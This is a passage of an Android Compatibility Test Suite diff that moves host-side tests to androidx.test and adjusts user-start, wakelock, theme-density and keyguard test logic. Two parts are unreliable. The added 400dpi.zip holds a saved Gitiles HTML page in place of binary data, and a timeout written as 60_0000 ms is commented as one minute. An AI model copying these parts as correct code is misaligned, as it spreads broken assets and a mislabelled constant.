         android:targetPackage="android.content.pm.cts.shortcut.backup.publisher4"  />
 </manifest>
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.mk
index e58e874..8a9462d 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.mk
@@ -29,11 +29,11 @@
     $(call all-java-files-under, ../../common/src)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
     ShortcutManagerTestUtils
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4old/AndroidManifest.xml
index 0c9f4ab..f9cc72e 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4old/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/AndroidManifest.xml
@@ -41,7 +41,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.content.pm.cts.shortcut.backup.publisher4"  />
 </manifest>
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.mk
index 4abd8b46..082ef4c 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.mk
@@ -31,11 +31,11 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../publisher4old/res
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
     ShortcutManagerTestUtils
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/AndroidManifest.xml
index af47b93..0c26d15 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/AndroidManifest.xml
@@ -31,7 +31,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.content.pm.cts.shortcut.backup.publisher4"  />
 </manifest>
 
diff --git a/hostsidetests/shortcuts/deviceside/multiuser/Android.mk b/hostsidetests/shortcuts/deviceside/multiuser/Android.mk
index 9051324..48b57c8 100644
--- a/hostsidetests/shortcuts/deviceside/multiuser/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/multiuser/Android.mk
@@ -31,11 +31,11 @@
     $(call all-java-files-under, ../common/src)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
     ShortcutManagerTestUtils
 
diff --git a/hostsidetests/shortcuts/deviceside/multiuser/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/multiuser/AndroidManifest.xml
index 886aded..e00ce0e 100644
--- a/hostsidetests/shortcuts/deviceside/multiuser/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/multiuser/AndroidManifest.xml
@@ -38,7 +38,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.content.pm.cts.shortcut.multiuser"  />
 </manifest>
 
diff --git a/hostsidetests/shortcuts/deviceside/upgrade/Android.mk b/hostsidetests/shortcuts/deviceside/upgrade/Android.mk
index 22907bb..0de206f 100644
--- a/hostsidetests/shortcuts/deviceside/upgrade/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/upgrade/Android.mk
@@ -35,11 +35,11 @@
 LOCAL_RESOURCE_DIR :=  $(LOCAL_PATH)/version1/res
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
     ShortcutManagerTestUtils
 
@@ -68,11 +68,11 @@
 LOCAL_RESOURCE_DIR :=  $(LOCAL_PATH)/version2/res
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     androidx.legacy_legacy-support-v4 \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
     ShortcutManagerTestUtils
 
diff --git a/hostsidetests/shortcuts/deviceside/upgrade/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/upgrade/AndroidManifest.xml
index 72d7dfc..468cea1 100644
--- a/hostsidetests/shortcuts/deviceside/upgrade/AndroidManifest.xml
+++ b/hostsidetests/shortcuts/deviceside/upgrade/AndroidManifest.xml
@@ -38,7 +38,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.content.pm.cts.shortcut.upgrade"  />
 </manifest>
 
diff --git a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/BaseShortcutManagerHostTest.java b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/BaseShortcutManagerHostTest.java
index bc33abf..863f51b 100644
--- a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/BaseShortcutManagerHostTest.java
+++ b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/BaseShortcutManagerHostTest.java
@@ -43,7 +43,7 @@
 
     protected static final boolean NO_UNINSTALL_IN_TEARDOWN = false; // DO NOT SUBMIT WITH TRUE
 
-    private static final String RUNNER = "android.support.test.runner.AndroidJUnitRunner";
+    private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
 
     private IBuildInfo mCtsBuild;
 
@@ -214,6 +214,29 @@
         throw new IllegalStateException();
     }
 
+    /** Starts user {@code userId} and waits until it is in state RUNNING_UNLOCKED. */
+    protected void startUserAndWait(int userId) throws Exception {
+        getDevice().startUser(userId);
+
+        final String desiredState = "RUNNING_UNLOCKED";
+        final long USER_STATE_TIMEOUT_MS = 60_0000; // 1 minute
+        final long timeout = System.currentTimeMillis() + USER_STATE_TIMEOUT_MS;
+        final String command = String.format("am get-started-user-state %d", userId);
+        String output = "";
+        while (System.currentTimeMillis() <= timeout) {
+            output = getDevice().executeShellCommand(command);
+            if (output.contains(desiredState)) {
+                return;
+            }
+            try {
+                Thread.sleep(100);
+            } catch (InterruptedException e) {
+                // Do nothing.
+            }
+        }
+        fail("User state of " + userId + " was '" + output + "' rather than " + desiredState);
+    }
+
     /**
      * Variant of {@link #assertContainsRegex(String,String,String)} using a
      * generic message.
diff --git a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerMultiuserTest.java b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerMultiuserTest.java
index 3c265ba..72c6a44 100644
--- a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerMultiuserTest.java
+++ b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerMultiuserTest.java
@@ -45,7 +45,7 @@
         runDeviceTestsAsUser(TARGET_PKG, ".ShortcutManagerManagedUserTest",
                 "test01_managedProfileNotStarted", getPrimaryUserId());
 
-        getDevice().startUser(profileId);
+        startUserAndWait(profileId);
 
         runDeviceTestsAsUser(TARGET_PKG, ".ShortcutManagerManagedUserTest",
                 "test02_createShortuctsOnPrimaryUser", getPrimaryUserId());
diff --git a/hostsidetests/statsd/apps/statsdapp/Android.mk b/hostsidetests/statsd/apps/statsdapp/Android.mk
index 4de17bb..a615d3c 100644
--- a/hostsidetests/statsd/apps/statsdapp/Android.mk
+++ b/hostsidetests/statsd/apps/statsdapp/Android.mk
@@ -32,11 +32,11 @@
 LOCAL_PRIVILEGED_MODULE := true
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    compatibility-device-util \
+    ctstestrunner-axt \
+    compatibility-device-util-axt \
     androidx.legacy_legacy-support-v4 \
     legacy-android-test \
-    android-support-test \
+    androidx.test.rules \
     statsdprotolite
 
 # tag this module as a cts test artifact
diff --git a/hostsidetests/statsd/apps/statsdapp/AndroidManifest.xml b/hostsidetests/statsd/apps/statsdapp/AndroidManifest.xml
index 1e86fa7..86afa88 100644
--- a/hostsidetests/statsd/apps/statsdapp/AndroidManifest.xml
+++ b/hostsidetests/statsd/apps/statsdapp/AndroidManifest.xml
@@ -81,7 +81,7 @@
             android:permission="android.permission.BIND_JOB_SERVICE" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="com.android.server.cts.device.statsd"
                      android:label="CTS tests of android.os.statsd stats collection">
         <meta-data android:name="listener"
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
index 719dcb7..aefa0f5 100644
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
+++ b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
@@ -16,11 +16,14 @@
 
 package com.android.server.cts.device.statsd;
 
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+
+import static org.junit.Assert.assertTrue;
+
 import android.accounts.Account;
 import android.accounts.AccountManager;
 import android.app.AlarmManager;
 import android.app.PendingIntent;
-import android.app.Activity;
 import android.app.job.JobInfo;
 import android.app.job.JobScheduler;
 import android.bluetooth.BluetoothAdapter;
@@ -35,9 +38,8 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
-import android.hardware.camera2.CameraDevice;
-import android.hardware.camera2.CameraManager;
 import android.hardware.camera2.CameraCharacteristics;
+import android.hardware.camera2.CameraDevice;
 import android.hardware.camera2.CameraManager;
 import android.location.Location;
 import android.location.LocationListener;
@@ -51,13 +53,10 @@
 import android.os.Looper;
 import android.os.PowerManager;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
 import android.util.Log;
-import android.util.StatsLog;
 
-import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
+import androidx.test.InstrumentationRegistry;
+
 import org.junit.Test;
 
 import java.util.Arrays;
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/Checkers.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/Checkers.java
index 40c4f03..caaf92e 100644
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/Checkers.java
+++ b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/Checkers.java
@@ -16,10 +16,12 @@
 
 package com.android.server.cts.device.statsd;
 
-import android.net.wifi.WifiManager;
-import android.support.test.InstrumentationRegistry;
-
 import static org.junit.Assert.assertTrue;
+
+import android.net.wifi.WifiManager;
+
+import androidx.test.InstrumentationRegistry;
+
 import org.junit.Test;
 
 /**
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/WakelockLoadTestRunnable.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/WakelockLoadTestRunnable.java
index e887a7a..1a3d32a 100644
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/WakelockLoadTestRunnable.java
+++ b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/WakelockLoadTestRunnable.java
@@ -17,9 +17,10 @@
 
 import android.content.Context;
 import android.os.PowerManager;
-import android.support.test.InstrumentationRegistry;
-import java.util.concurrent.CountDownLatch;
 
+import androidx.test.InstrumentationRegistry;
+
+import java.util.concurrent.CountDownLatch;
 
 public class WakelockLoadTestRunnable implements Runnable {
     String tag;
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
index 225ebf5..02bc735 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
@@ -654,4 +654,11 @@
         return hasIt == requiredAnswer;
     }
 
+    /**
+     * Determines if the device has |file|.
+     */
+    protected boolean doesFileExist(String file) throws Exception {
+        return getDevice().doesFileExist(file);
+    }
+
 }
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
index cd396ec..ef5c768 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
@@ -45,7 +45,7 @@
 
     protected IBuildInfo mCtsBuild;
 
-    private static final String TEST_RUNNER = "android.support.test.runner.AndroidJUnitRunner";
+    private static final String TEST_RUNNER = "androidx.test.runner.AndroidJUnitRunner";
 
     @Override
     protected void setUp() throws Exception {
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java
index c14a89f..351826c 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java
@@ -152,8 +152,9 @@
      * Gets the uid of the test app.
      */
     protected int getUid() throws Exception {
-        String uidLine = getDevice().executeShellCommand("cmd package list packages -U "
-                + DEVICE_SIDE_TEST_PACKAGE);
+        int currentUser = getDevice().getCurrentUser();
+        String uidLine = getDevice().executeShellCommand("cmd package list packages -U --user "
+                + currentUser + " " + DEVICE_SIDE_TEST_PACKAGE);
         String[] uidLineParts = uidLine.split(":");
         // 3rd entry is package uid
         assertTrue(uidLineParts.length > 2);
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
index 71fac10..cc3b47c 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
@@ -31,6 +31,7 @@
 import com.android.os.AtomsProto.RemainingBatteryCapacity;
 import com.android.os.StatsLog.EventMetricData;
 
+import java.io.File;
 import java.util.Arrays;
 import java.util.HashSet;
 import java.util.List;
@@ -48,6 +49,10 @@
     private static final String FEATURE_TELEPHONY = "android.hardware.telephony";
     private static final String FEATURE_WATCH = "android.hardware.type.watch";
 
+    // Either file must exist to read kernel wake lock stats.
+    private static final String WAKE_LOCK_FILE = "/proc/wakelocks";
+    private static final String WAKE_SOURCES_FILE = "/d/wakeup_sources";
+
     @Override
     protected void setUp() throws Exception {
         super.setUp();
@@ -382,7 +387,7 @@
     }
 
     public void testKernelWakelock() throws Exception {
-        if (statsdDisabled()) {
+        if (statsdDisabled() || !kernelWakelockStatsExist()) {
             return;
         }
         StatsdConfig.Builder config = getPulledConfig();
@@ -408,6 +413,15 @@
         assertTrue(atom.getKernelWakelock().hasTime());
     }
 
+    // Returns true iff either |WAKE_LOCK_FILE| or |WAKE_SOURCES_FILE| exists.
+    private boolean kernelWakelockStatsExist() {
+      try {
+        return doesFileExist(WAKE_LOCK_FILE) || doesFileExist(WAKE_SOURCES_FILE);
+      } catch(Exception e) {
+        return false;
+      }
+    }
+
     public void testWifiActivityInfo() throws Exception {
         if (statsdDisabled()) {
             return;
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
index a8e4574..c937e30 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
@@ -228,7 +228,7 @@
 
         Thread.sleep(WAIT_TIME_SHORT);
         setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_SHORT);
+        Thread.sleep(WAIT_TIME_LONG);
 
         List<Atom> atomList = getGaugeMetricDataList();
 
@@ -370,6 +370,7 @@
         if (statsdDisabled()) {
             return;
         }
+        if (!hasFeature(FEATURE_WATCH, false)) return;
         final int atomTag = Atom.OVERLAY_STATE_CHANGED_FIELD_NUMBER;
 
         Set<Integer> entered = new HashSet<>(
diff --git a/hostsidetests/theme/app/Android.mk b/hostsidetests/theme/app/Android.mk
index de63355..1d5a6f0 100644
--- a/hostsidetests/theme/app/Android.mk
+++ b/hostsidetests/theme/app/Android.mk
@@ -26,7 +26,7 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/hostsidetests/theme/app/AndroidManifest.xml b/hostsidetests/theme/app/AndroidManifest.xml
index 2a03db9..0f3c1de 100755
--- a/hostsidetests/theme/app/AndroidManifest.xml
+++ b/hostsidetests/theme/app/AndroidManifest.xml
@@ -39,7 +39,7 @@
     </application>
 
     <!--  self-instrumenting test package. -->
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.theme.app"
                      android:label="Generates Theme reference images"/>
 
diff --git a/hostsidetests/theme/app/src/android/theme/app/ThemeDeviceActivity.java b/hostsidetests/theme/app/src/android/theme/app/ThemeDeviceActivity.java
index 8709f14..9469a0c 100644
--- a/hostsidetests/theme/app/src/android/theme/app/ThemeDeviceActivity.java
+++ b/hostsidetests/theme/app/src/android/theme/app/ThemeDeviceActivity.java
@@ -18,6 +18,7 @@
 
 import android.app.Activity;
 import android.content.Intent;
+import android.content.res.Configuration;
 import android.os.Build;
 import android.os.Bundle;
 import android.theme.app.modifiers.DatePickerModifier;
@@ -76,6 +77,11 @@
         mTheme = THEMES[themeIndex];
 
         setTheme(mTheme.id);
+
+        // Force text scaling to 1.0 regardless of system default.
+        Configuration config = new Configuration();
+        config.fontScale = 1.0f;
+        getResources().updateConfiguration(config, null);
         setContentView(R.layout.theme_test);
 
         mViewGroup = (ReferenceViewGroup) findViewById(R.id.reference_view_group);
diff --git a/hostsidetests/theme/assets/24/400dpi.zip b/hostsidetests/theme/assets/24/400dpi.zip
new file mode 100755
index 0000000..b76e564
--- /dev/null
+++ b/hostsidetests/theme/assets/24/400dpi.zip
@@ -0,0 +1 @@
+<!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><title>hostsidetests/theme/assets/26/400dpi.zip - platform/cts - Git at Google</title><link rel="stylesheet" type="text/css" href="/+static/base.8PwAX-dsywmU2hx_vi_YSA.cache.css"><link rel="stylesheet" type="text/css" href="/+static/prettify/prettify.pZ5FqzM6cPxAflH0va2Ucw.cache.css"><!-- default customHeadTagPart --></head><body class="Site"><header class="Site-header"><div class="Header"><a class="Header-image" href="/"><img src="//www.gstatic.com/images/branding/lockups/2x/lockup_git_color_108x24dp.png" width="108" height="24" alt="Google Git"></a><div class="Header-menu"> <a class="Header-menuItem" href="https://accounts.google.com/AccountChooser?service=gerritcodereview&amp;continue=https://android.googlesource.com/login/platform/cts/%2B/android-cts-8.0_r14/hostsidetests/theme/assets/26/400dpi.zip">Sign in</a> </div></div></header><div class="Site-content"><div class="Container "><div class="Breadcrumbs"><a class="Breadcrumbs-crumb" href="/?format=HTML">android</a> / <a class="Breadcrumbs-crumb" href="/platform/">platform</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/">cts</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/+/android-cts-8.0_r14">android-cts-8.0_r14</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/+/android-cts-8.0_r14/">.</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/+/android-cts-8.0_r14/hostsidetests">hostsidetests</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/+/android-cts-8.0_r14/hostsidetests/theme">theme</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/+/android-cts-8.0_r14/hostsidetests/theme/assets">assets</a> / <a class="Breadcrumbs-crumb" href="/platform/cts/+/android-cts-8.0_r14/hostsidetests/theme/assets/26">26</a> / <span class="Breadcrumbs-crumb">400dpi.zip</span></div><div class="u-sha1 u-monospace BlobSha1">blob: d624bd54df060b534c62c07b8cf8b70b126b8f58 [<a href="/platform/cts/+/android-cts-8.0_r14/hostsidetests/theme/assets/26/400dpi.zip">file</a>] [<a href="/platform/cts/+log/android-cts-8.0_r14/hostsidetests/theme/assets/26/400dpi.zip">log</a>] [<a href="/platform/cts/+blame/android-cts-8.0_r14/hostsidetests/theme/assets/26/400dpi.zip">blame</a>]</div><div class="FileContents-binary">8615086-byte binary file</div></div> <!-- Container --></div> <!-- Site-content --><footer class="Site-footer"><div class="Footer"><span class="Footer-poweredBy">Powered by <a href="https://gerrit.googlesource.com/gitiles/">Gitiles</a>| <a href="https://policies.google.com/privacy">Privacy</a></span><span class="Footer-formats"><a class="u-monospace Footer-formatsItem" href="?format=TEXT">txt</a> <a class="u-monospace Footer-formatsItem" href="?format=JSON">json</a></span></div></footer></body></html>
\ No newline at end of file
diff --git a/hostsidetests/theme/assets/28/360dpi.zip b/hostsidetests/theme/assets/28/360dpi.zip
index 3e1f801..40b434b 100644
--- a/hostsidetests/theme/assets/28/360dpi.zip
+++ b/hostsidetests/theme/assets/28/360dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/generate_images.py b/hostsidetests/theme/generate_images.py
index d8df3bf..4b1b581 100755
--- a/hostsidetests/theme/generate_images.py
+++ b/hostsidetests/theme/generate_images.py
@@ -133,7 +133,7 @@
     print("Generating images on " + device_serial + "...")
     try:
         (out, err) = device.run_instrumentation_test(
-            "android.theme.app/android.support.test.runner.AndroidJUnitRunner")
+            "android.theme.app/androidx.test.runner.AndroidJUnitRunner")
     except KeyboardInterrupt:
         raise
     except:
diff --git a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
index e559f18..4dc56f8 100644
--- a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
+++ b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
@@ -55,7 +55,7 @@
     private static final String GENERATED_ASSETS_ZIP = "/sdcard/cts-theme-assets.zip";
 
     /** The class name of the main activity in the APK. */
-    private static final String TEST_CLASS = "android.support.test.runner.AndroidJUnitRunner";
+    private static final String TEST_CLASS = "androidx.test.runner.AndroidJUnitRunner";
 
     /** The command to launch the main instrumentation test. */
     private static final String START_CMD = String.format(
@@ -83,13 +83,16 @@
 
     private ExecutorCompletionService<Pair<String, File>> mCompletionService;
 
+    // Density to which the device should be restored, or -1 if unnecessary.
+    private int mRestoreDensity;
 
     @Override
     protected void setUp() throws Exception {
         super.setUp();
 
         mDevice = getDevice();
-
+        mRestoreDensity = resetDensityIfNeeded(mDevice);
+        mDevice.executeShellCommand("settings put system font_scale 1.0");
         final String density = getDensityBucketForDevice(mDevice);
         final String referenceZipAssetPath = String.format("/%s.zip", density);
         mReferences = extractReferenceImages(referenceZipAssetPath);
@@ -139,12 +142,14 @@
         // Remove generated images.
         mDevice.executeShellCommand(CLEAR_GENERATED_CMD);
 
+        restoreDensityIfNeeded(mDevice, mRestoreDensity);
+
         super.tearDown();
     }
 
     public void testThemes() throws Exception {
         if (checkHardwareTypeSkipTest(mDevice.executeShellCommand(HARDWARE_TYPE_CMD).trim())) {
-            Log.logAndDisplay(LogLevel.INFO, LOG_TAG, "Skipped themes test for watch / TV");
+            Log.logAndDisplay(LogLevel.INFO, LOG_TAG, "Skipped themes test for watch / TV / automotive");
             return;
         }
 
@@ -268,13 +273,26 @@
         return bucket;
     }
 
-    private static int getDensityForDevice(ITestDevice device) throws DeviceNotAvailableException {
+    private static int resetDensityIfNeeded(ITestDevice device) throws DeviceNotAvailableException {
         final String output = device.executeShellCommand(WM_DENSITY);
         final Pattern p = Pattern.compile("Override density: (\\d+)");
         final Matcher m = p.matcher(output);
         if (m.find()) {
-            return Integer.parseInt(m.group(1));
+            device.executeShellCommand(WM_DENSITY + " reset");
+            int restoreDensity = Integer.parseInt(m.group(1));
+            return restoreDensity;
         }
+        return -1;
+    }
+
+    private static void restoreDensityIfNeeded(ITestDevice device, int restoreDensity)
+            throws DeviceNotAvailableException {
+        if (restoreDensity > 0) {
+            device.executeShellCommand(WM_DENSITY + " " + restoreDensity);
+        }
+    }
+
+    private static int getDensityForDevice(ITestDevice device) throws DeviceNotAvailableException {
 
         final String densityProp;
         if (device.getSerialNumber().startsWith("emulator-")) {
@@ -287,6 +305,7 @@
 
     private static boolean checkHardwareTypeSkipTest(String hardwareTypeString) {
         return hardwareTypeString.contains("android.hardware.type.watch")
-                || hardwareTypeString.contains("android.hardware.type.television");
+                || hardwareTypeString.contains("android.hardware.type.television")
+                || hardwareTypeString.contains("android.hardware.type.automotive");
     }
 }
diff --git a/hostsidetests/trustedvoice/app/AndroidManifest.xml b/hostsidetests/trustedvoice/app/AndroidManifest.xml
index 53b2981..f54af61 100755
--- a/hostsidetests/trustedvoice/app/AndroidManifest.xml
+++ b/hostsidetests/trustedvoice/app/AndroidManifest.xml
@@ -20,7 +20,8 @@
 
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
     <application>
-        <activity android:name=".TrustedVoiceActivity" >
+        <activity android:name=".TrustedVoiceActivity"
+                  android:turnScreenOn="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
diff --git a/hostsidetests/trustedvoice/app/src/android/trustedvoice/app/TrustedVoiceActivity.java b/hostsidetests/trustedvoice/app/src/android/trustedvoice/app/TrustedVoiceActivity.java
index 95c446a..32cc42c 100644
--- a/hostsidetests/trustedvoice/app/src/android/trustedvoice/app/TrustedVoiceActivity.java
+++ b/hostsidetests/trustedvoice/app/src/android/trustedvoice/app/TrustedVoiceActivity.java
@@ -17,12 +17,12 @@
 package android.trustedvoice.app;
 
 import android.app.Activity;
+import android.app.KeyguardManager;
+import android.app.KeyguardManager.KeyguardDismissCallback;
+import android.content.Context;
 import android.os.Bundle;
 import android.util.Log;
-import android.app.KeyguardManager;
-import android.content.Context;
 import android.view.WindowManager.LayoutParams;
-import java.lang.Override;
 
 /**
  * This activity when in foreground sets the FLAG_DISMISS_KEYGUARD.
@@ -37,14 +37,18 @@
    */
   private static final String TEST_STRING = "TrustedVoiceTestString";
 
+  private KeyguardManager mkeyguardManager;
+
   @Override
   public void onCreate(Bundle icicle) {
     super.onCreate(icicle);
+    mkeyguardManager =
+            (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE);
 
     // Unlock the keyguard.
-    getWindow().addFlags(LayoutParams.FLAG_DISMISS_KEYGUARD
-            | LayoutParams.FLAG_TURN_SCREEN_ON
+    getWindow().addFlags(LayoutParams.FLAG_TURN_SCREEN_ON
             | LayoutParams.FLAG_KEEP_SCREEN_ON);
+    mkeyguardManager.requestDismissKeyguard(this, null);
   }
 
   @Override
@@ -52,8 +56,7 @@
     super.onWindowFocusChanged(hasFocus);
     if (hasFocus) {
       // Confirm that the keyguard was successfully unlocked.
-      KeyguardManager kM = (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE);
-      if (!kM.isKeyguardLocked()) {
+      if (!mkeyguardManager.isKeyguardLocked()) {
         // Log the test string.
         Log.i(TAG, TEST_STRING);
       }
diff --git a/hostsidetests/trustedvoice/src/android/trustedvoice/cts/TrustedVoiceHostTest.java b/hostsidetests/trustedvoice/src/android/trustedvoice/cts/TrustedVoiceHostTest.java
index 7cea5e5..9420124 100644
--- a/hostsidetests/trustedvoice/src/android/trustedvoice/cts/TrustedVoiceHostTest.java
+++ b/hostsidetests/trustedvoice/src/android/trustedvoice/cts/TrustedVoiceHostTest.java
@@ -97,6 +97,8 @@
             getDevice().executeAdbCommand("logcat", "-c");
             // Lock the device
             getDevice().executeShellCommand(SLEEP_COMMAND);
+            // Add a delay to allow the device to go to sleep.
+            Thread.sleep(1000);
             // Start the APK and wait for it to complete.
             getDevice().executeShellCommand(START_COMMAND);
             // Adding delay for OEM specific features which could delay the time of printing the
diff --git a/hostsidetests/tv/app/Android.mk b/hostsidetests/tv/app/Android.mk
index 5ffdeb4..0b49885 100644
--- a/hostsidetests/tv/app/Android.mk
+++ b/hostsidetests/tv/app/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_MODULE_TAGS := tests
